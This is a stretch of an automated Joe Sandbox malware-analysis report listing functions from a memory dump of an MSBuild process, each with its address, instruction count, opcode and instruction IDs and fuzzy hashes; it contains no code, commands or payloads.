                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 04ed65ae198c052cd29f875e02fecdc981b6223f74cc48ce53ccba3819646d77
                                                                          • Instruction ID: a5e13be4409bf52e5931ea0eab8274d30f0c1f65e7ba3d32e8101fce16c7e1f3
                                                                          • Opcode Fuzzy Hash: 04ed65ae198c052cd29f875e02fecdc981b6223f74cc48ce53ccba3819646d77
                                                                          • Instruction Fuzzy Hash: FB329F75E00219DBDF24DFA8C890BEEBBB5FF54718F180029E905AB395E7399941CB90
                                                                          Function 013E8158 Relevance: .6, Instructions: 617COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 1477268e7c8bb34ca4b43d17f1dee713b2003299596d64e864a46749a44f4ff9
                                                                          • Instruction ID: f96f581ec3fdc0678978ecbcbb9f436f1713e0eb0c985344808ce5988c7e8208
                                                                          • Opcode Fuzzy Hash: 1477268e7c8bb34ca4b43d17f1dee713b2003299596d64e864a46749a44f4ff9
                                                                          • Instruction Fuzzy Hash: CB424975E003298FEB25CF69C885BADBBF5BF48314F1480D9E949AB282D7349985CF50
                                                                          Function 013FA118 Relevance: .6, Instructions: 591COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: e7283663678d7241f73ec5e4501c06befee6558b53d8602429f39e587d170653
                                                                          • Instruction ID: fc6ab360043b07fe8bcfba83c6526d1a44babf541cc38d0730d6ca2917e62c38
                                                                          • Opcode Fuzzy Hash: e7283663678d7241f73ec5e4501c06befee6558b53d8602429f39e587d170653
                                                                          • Instruction Fuzzy Hash: F522CD742046658BEB25CF2DC094772BBF1AF44348F08849EEB8E8F686D735E456DB60
                                                                          Function 013565D0 Relevance: .4, Instructions: 383COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 1911c0025cae46f1f391afac7f06619827fd9dbcdaac3bf7e2c090d1a4c83654
                                                                          • Instruction ID: d29c7e1c14f7827850619ddb80bb2b972f08b6619e38f6a9af55d1ed3d05b366
                                                                          • Opcode Fuzzy Hash: 1911c0025cae46f1f391afac7f06619827fd9dbcdaac3bf7e2c090d1a4c83654
                                                                          • Instruction Fuzzy Hash: 3BE19EB1608342CFC755CF28C090A6ABBF4FF89718F45896DE99987351EB31E905CB92
                                                                          Function 01348397 Relevance: .4, Instructions: 380COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 3574bcd9e6e3842c7468327c047f18b297f6a3fc9a2e793a30301c3b38281094
                                                                          • Instruction ID: 65d5f3e6e5aac9e26239dc46179aeb34eef34f50461717c1bc86c3d2b00791ba
                                                                          • Opcode Fuzzy Hash: 3574bcd9e6e3842c7468327c047f18b297f6a3fc9a2e793a30301c3b38281094
                                                                          • Instruction Fuzzy Hash: 73D11671A0020ACBDB14DFA8C890ABABBF5FF5431CF04866DE915DB291E734E951CB50
                                                                          Function 013D8243 Relevance: .3, Instructions: 322COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                                                          • Instruction ID: cd473ac673a3e3fb978e691a8e6c12154f30c400e9f1f171f7b2fedea75a04e2
                                                                          • Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                                                          • Instruction Fuzzy Hash: F1B18376A006059FDF24DFA9D940EABBBB9FF84318F10449DEA0297794DA34F905CB50
                                                                          Function 0136F460 Relevance: .3, Instructions: 321COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: ddac5125bbd1b99708c2aea991d5f8222f56d57721c584fb98f9d8ba41e199f8
                                                                          • Instruction ID: 70e6f61c4af84ba82cc09f6f81db23ae9e4d548fda8d2160b6e7023cfb76dcd6
                                                                          • Opcode Fuzzy Hash: ddac5125bbd1b99708c2aea991d5f8222f56d57721c584fb98f9d8ba41e199f8
                                                                          • Instruction Fuzzy Hash: A1C10235A00215CBDB25CF2CE5A07B97BADFB4472CF1A8159DE42AB6A9D7708D40CB50
                                                                          Function 01360535 Relevance: .3, Instructions: 300COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                                                          • Instruction ID: 955ba723b08e57eb603373a07cca928673a595def7d7d9ed3a2ef13aa96cffb1
                                                                          • Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                                                          • Instruction Fuzzy Hash: DFB15831604646EFDB25DBA8C890BBEBBFAEF44208F144169E742D7686E730ED41CB50
                                                                          Function 013790DB Relevance: .3, Instructions: 287COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 09107eb6985056d8fa575351fa0208f8b8d3dc42edc27a4456cd5bafce4aaceb
                                                                          • Instruction ID: 5074984a9b3070223df44d0260fa76ca19d8dc208cf245e5d15379babae43d6b
                                                                          • Opcode Fuzzy Hash: 09107eb6985056d8fa575351fa0208f8b8d3dc42edc27a4456cd5bafce4aaceb
                                                                          • Instruction Fuzzy Hash: 04A1627150061AAFEF22DFA8CC81FAF7BB9AF45758F054154FA04AB6A0D7759C01CBA0
                                                                          Function 013583C0 Relevance: .3, Instructions: 281COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 224651c18c45fcfbcdf7d93bfeaa40985f2b2eb4eeb49280add6cb9c2d802016
                                                                          • Instruction ID: 1fb87e2a447a7eb992a144b96fc9c7bd841871a81dd67479b0732b88fded839d
                                                                          • Opcode Fuzzy Hash: 224651c18c45fcfbcdf7d93bfeaa40985f2b2eb4eeb49280add6cb9c2d802016
                                                                          • Instruction Fuzzy Hash: 08C16A74108381CFD764CF19C494BABB7E4BF88708F44496DE98987691E774E908CF92
                                                                          Function 0134C427 Relevance: .3, Instructions: 280COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2f729274c6038232a9ffb4051332b48e39929a24277dc526d2091b3d1888b5af
                                                                          • Instruction ID: 9fc27ff5a5a6c0d92d9882059f3d6e8ea1ffb1aa93c1b2679f572af576cbe1da
                                                                          • Opcode Fuzzy Hash: 2f729274c6038232a9ffb4051332b48e39929a24277dc526d2091b3d1888b5af
                                                                          • Instruction Fuzzy Hash: D2B18370A002658BDB34DF69C890BADB7F5EF44708F0485E9D50AE7251EB34ED85CB60
                                                                          Function 0137E5E7 Relevance: .3, Instructions: 278COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 39c0ec29a95fa8441be39ebcf5b4c2312b88ab0ddf661f1d66140fef64f5f2f1
                                                                          • Instruction ID: 89e9c67bedc3ad9cb36068a7ca972aa9846389a1cc1b65893657a5cf4edde74e
                                                                          • Opcode Fuzzy Hash: 39c0ec29a95fa8441be39ebcf5b4c2312b88ab0ddf661f1d66140fef64f5f2f1
                                                                          • Instruction Fuzzy Hash: D6A1F531E006599FEF31DB5CCC84BEEBBA8AB0475CF050165EB10AB691E7789D40CB91
                                                                          Function 01390185 Relevance: .3, Instructions: 276COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: a1bd045ed4814f69f8bacb4a674ccbb10d927b5eb81eef23f546f2b9f9f07f29
                                                                          • Instruction ID: 1c03b7ba51d6fc9e6717f437bcd71a07a7f1324e58d4ff7c03dae5a73affa049
                                                                          • Opcode Fuzzy Hash: a1bd045ed4814f69f8bacb4a674ccbb10d927b5eb81eef23f546f2b9f9f07f29
                                                                          • Instruction Fuzzy Hash: D4A1C370B0161ADFDF29DF69C990BAAB7B9FF5472CF044029EA45A7281DB34E811CB50
                                                                          Function 01424500 Relevance: .3, Instructions: 275COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: ff8eb23adca48e493ec45ee1656ba82e635934dbcd76455611c4e83dfca91caa
                                                                          • Instruction ID: 9e1212fa28cd2a5cd81fc41d872537ecd4721a673664e6432684a0c696327e0a
                                                                          • Opcode Fuzzy Hash: ff8eb23adca48e493ec45ee1656ba82e635934dbcd76455611c4e83dfca91caa
                                                                          • Instruction Fuzzy Hash: 97A1F172610622DFC721DF18C980B2AB7E9FF48758F89452AF5899B760C374EC81CB91
                                                                          Function 013D60E0 Relevance: .3, Instructions: 264COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 33db668cea6076ab2f5081dac9c632a03184bab2e885062f3f3d3704d1627b7b
                                                                          • Instruction ID: 637047f5c53554ae733563647b872503ecc501cd995b16a5ce54c006a3385bba
                                                                          • Opcode Fuzzy Hash: 33db668cea6076ab2f5081dac9c632a03184bab2e885062f3f3d3704d1627b7b
                                                                          • Instruction Fuzzy Hash: D991A7F2D0021AAFDF15CF68E885BAEBFB5AF48714F154169E620EB351D734D9008BA0
                                                                          Function 0136E3F0 Relevance: .3, Instructions: 261COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 28e905fa74451d13899d9d2611472f74492798260f4d108ea3d0bd51a6e0931c
                                                                          • Instruction ID: 69b9c282ff42029dbaca67f9115e9ed2a91fdd92e255c4292022069be12ec2eb
                                                                          • Opcode Fuzzy Hash: 28e905fa74451d13899d9d2611472f74492798260f4d108ea3d0bd51a6e0931c
                                                                          • Instruction Fuzzy Hash: 8A913579A00216CBEB25DB2DC480BBABBA9EF9471CF15C065EF05AB798F634D805C750
                                                                          Function 01351131 Relevance: .3, Instructions: 259COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 5a04a29a9e907d0be269d35e984e83d408a57e9e3a5f5d33ce1386c4f6837b8c
                                                                          • Instruction ID: 23eade0e7c53963ecbdb891b7dde820fc3fdb69f45fae14056d33f0b97fd5506
                                                                          • Opcode Fuzzy Hash: 5a04a29a9e907d0be269d35e984e83d408a57e9e3a5f5d33ce1386c4f6837b8c
                                                                          • Instruction Fuzzy Hash: 3FB111B16083418FD754CF28C480A5AFBE5FB88708F584A6EE999D7352D330E941CB82
                                                                          Function 0140B52F Relevance: .2, Instructions: 222COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 14aa7f2389c0c2f4a5e39dfbb016f189343e77270b8e137ddafeb974bf5cdc5c
                                                                          • Instruction ID: 6d05675e6e1c442a799fc573412139384da71cc1387b6f3030231812646cd3d2
                                                                          • Opcode Fuzzy Hash: 14aa7f2389c0c2f4a5e39dfbb016f189343e77270b8e137ddafeb974bf5cdc5c
                                                                          • Instruction Fuzzy Hash: 2771A239A0021A9BDF22CF6AC480ABFB7F5EF54740F18456BDD40AB3A1E735D9418B94
                                                                          Function 0137D090 Relevance: .2, Instructions: 217COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2f57846fa6853ce2eba42e0856427c3c37140fe7ac7bc1e87bfd5d4bd44f03bd
                                                                          • Instruction ID: ec59e592a685bb12bafdee22dcf332b26c1468a73c8b930de4668ae9f837af74
                                                                          • Opcode Fuzzy Hash: 2f57846fa6853ce2eba42e0856427c3c37140fe7ac7bc1e87bfd5d4bd44f03bd
                                                                          • Instruction Fuzzy Hash: 67817D72E0011A8FDF24CF9CC8C07EDBBB2EF84318F19817ADA15A7744E675A9408B91
                                                                          Function 0138E284 Relevance: .2, Instructions: 212COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 0e0ec00f708ba0070f6a7ab02bd53b346953ab090a111efd224e1d41dde80e47
                                                                          • Instruction ID: 07e7f19c888f2ed2f49ff2c9ee4deee63293c621ae12db605b8e23a0d319cf6b
                                                                          • Opcode Fuzzy Hash: 0e0ec00f708ba0070f6a7ab02bd53b346953ab090a111efd224e1d41dde80e47
                                                                          • Instruction Fuzzy Hash: 0A816C71A00709AFDB25DFA9C880BEEBBB9FF48318F10442DE556A7250DB70AC45CB60
                                                                          Function 013D035C Relevance: .2, Instructions: 198COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                                                          • Instruction ID: b3ead69f0ba7361098dfb770b7dbe81f6c6299f615b448dc474e37e5eb2c6b0b
                                                                          • Opcode Fuzzy Hash: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                                                          • Instruction Fuzzy Hash: BE717072A0061AEFDB14DFA9D984EDEBBB9FF48704F104569E905E7250DB34EA01CB50
                                                                          Function 013E62A0 Relevance: .2, Instructions: 198COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: a629322c67c14f18c81a01c0c35d2ec1c3985f938060d9dda6efd90aa7ed90c5
                                                                          • Instruction ID: befd6d122f580eee9072e41913245626779baa163720b2b8ae6aba29b2f54347
                                                                          • Opcode Fuzzy Hash: a629322c67c14f18c81a01c0c35d2ec1c3985f938060d9dda6efd90aa7ed90c5
                                                                          • Instruction Fuzzy Hash: 8C7123B2200B11AFEB32DF18C84AF5ABBE6EF50728F114428E2159B6E1D771E844CB50
                                                                          Function 0141132D Relevance: .2, Instructions: 188COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7ed5858c5733a99565171e9d4fd260c8b8d0f6170754f5e0ea8486d2675ad975
                                                                          • Instruction ID: 58a608882eb99337a8a6a88508315aee2f1a6cf56b8b603f787299ecccec6e91
                                                                          • Opcode Fuzzy Hash: 7ed5858c5733a99565171e9d4fd260c8b8d0f6170754f5e0ea8486d2675ad975
                                                                          • Instruction Fuzzy Hash: 6B818F75A00249DFCB09CFA9C490AAEBBF1FF58300F1581AAD959EB355D734EA41CB90
                                                                          Function 0141903E Relevance: .2, Instructions: 186COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c4af41280b7f99cf391fd23b8eaa4411702309327b9522f0bede4a118f2bf14c
                                                                          • Instruction ID: 59fef235d6edad5f19c17ba33d8401245b36973633f44657245ac97e4c078a4b
                                                                          • Opcode Fuzzy Hash: c4af41280b7f99cf391fd23b8eaa4411702309327b9522f0bede4a118f2bf14c
                                                                          • Instruction Fuzzy Hash: 4B610171200316AFD315CF69C894BABBBE9FF98318F00461EF95883268DB30E505CB91
                                                                          Function 014192A6 Relevance: .2, Instructions: 174COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 9e98c983e9aa741c2ce360615d4ac16906f659379338b1ab5c5a368f3a71a260
                                                                          • Instruction ID: 0207a08c6271bfb3ac5df1a215030afe16f2f45d6ec19e00fa70fc42b5621952
                                                                          • Opcode Fuzzy Hash: 9e98c983e9aa741c2ce360615d4ac16906f659379338b1ab5c5a368f3a71a260
                                                                          • Instruction Fuzzy Hash: C6610B312087428BE315CF69C464B6BB7E0FFA471CF18446EE9858B3A9D735D806C781
                                                                          Function 0134B2D3 Relevance: .2, Instructions: 161COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: f6f07c6e6fea2cae44565d3b35a759eefd63966cb927686f55780e738d37f495
                                                                          • Instruction ID: 7e0b02497f6440204f0220c142534892bd56c9d16ebf39ce436257899fce9ada
                                                                          • Opcode Fuzzy Hash: f6f07c6e6fea2cae44565d3b35a759eefd63966cb927686f55780e738d37f495
                                                                          • Instruction Fuzzy Hash: 7A41F6712006019FDB36AF2DD940B66FBE9FF44B58F118429FA599B365DB30E811CB90
                                                                          Function 0138B570 Relevance: .2, Instructions: 161COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: f2c678a385f8db7997003ca0115c2b44b0797da503afa48d0a78a7a4d151d4bd
                                                                          • Instruction ID: b25fa1da6385db0da0e3f1e7fea1eede01f3ba0f934e321c6dd52684baad0efc
                                                                          • Opcode Fuzzy Hash: f2c678a385f8db7997003ca0115c2b44b0797da503afa48d0a78a7a4d151d4bd
                                                                          • Instruction Fuzzy Hash: 7751D4B16042469FE730EF68C881F6B7BA8EF95B28F14062DFD11971A1D734E801CBA1
                                                                          Function 013CD5D0 Relevance: .2, Instructions: 161COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 421d61e5bc4c825cfb3b344d513b1230fd482de7481e25e13c6dc44851e8f620
                                                                          • Instruction ID: f57da842b0cbb212dd7ee5ec36eda21e3ad9c0581e8763e4537696d8e725cf12
                                                                          • Opcode Fuzzy Hash: 421d61e5bc4c825cfb3b344d513b1230fd482de7481e25e13c6dc44851e8f620
                                                                          • Instruction Fuzzy Hash: 6351F2722003469BCB11AFA88C40A7B7BE9EF94A58F44043DFA45C7251E734CC65C7E2
                                                                          Function 013795DA Relevance: .2, Instructions: 160COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 2c585d6fdc589ce398561eed3be93f67b3458613a9a69309463ea9e5ddcecd46
                                                                          • Instruction ID: 4288e964e769455759fe24aa3fa449caac9ce28dbd59b0a9e290c260cd3399a2
                                                                          • Opcode Fuzzy Hash: 2c585d6fdc589ce398561eed3be93f67b3458613a9a69309463ea9e5ddcecd46
                                                                          • Instruction Fuzzy Hash: FC517071900209ABEF219FA9CC81BEDBBB9FF0536CF204229E694A7151EB759944DF10
                                                                          Function 01357152 Relevance: .2, Instructions: 158COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: dc5c669822d9aac174a33c54d0539205912d17c9e23f1fab2895b311c83bea97
                                                                          • Instruction ID: 03932c50d4479c0fbea149836a687345e580188e8cc495d2f87bdbb195b81abc
                                                                          • Opcode Fuzzy Hash: dc5c669822d9aac174a33c54d0539205912d17c9e23f1fab2895b311c83bea97
                                                                          • Instruction Fuzzy Hash: E0510A31A0060AEFEB15DF68C895FBDB7B9FF5471DF504069D91293A90EB749A01CB80
                                                                          Function 013745B1 Relevance: .2, Instructions: 156COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                                                                          • Instruction ID: 740e478c6248606fa6597fc46150ad5c728d09796e48d3450f4960e091b6a7f9
                                                                          • Opcode Fuzzy Hash: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                                                                          • Instruction Fuzzy Hash: 51519471D0025A9BDF25DF98C440BEEFBB9AF45758F044069EA15BB240E738ED44CBA0
                                                                          Function 0141D26B Relevance: .2, Instructions: 153COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
